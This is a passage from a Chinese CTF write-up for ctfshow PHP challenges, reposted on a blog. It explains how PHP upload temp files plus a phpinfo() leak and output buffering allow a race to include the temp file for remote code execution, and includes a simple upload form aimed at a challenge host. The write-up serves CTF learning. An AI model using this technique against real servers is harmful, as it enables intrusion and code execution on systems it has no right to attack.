还有的方法这里就直接搬用jay 17师傅的wp,这里直接搬用了

临时文件包含补充:

临时文件包含

我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx
文件包含,能否包含一个 /???/???[@-[]]
答案是:不行 文件包含,不支持通配符 !

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含

验证原理步骤:
1.先准备upload.html脚本,部署在自己的vps上面
2.phpinfo.php中有语句phpinfo(); include $_FILES['file'][tmp_name];
3.upload.html脚本强制上传文件到phpinfo.php
4.自动跳转到什么什么/phpinfo.php
5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在$_FILES['file']==>[tmp_name]中
6.由于include $_FILES['file'][tmp_name]; 语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。

但是现实中不会出现语句include $_FILES['file'][tmp_name]; 我们不知道临时文件的名字。
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
一次发4096个字符,没凑够4096个字符不发送。
如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回,
这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕
临时文件还存在,能包含。这就是原理

upload.html:

```html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >

<input name="file" type="file" />
<input type="submit" type="gogogo!" />

</form>

赞(0)
未经允许不得转载:171主机测评 » ctfshow-web入门-php特性下(web130~web150plus)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址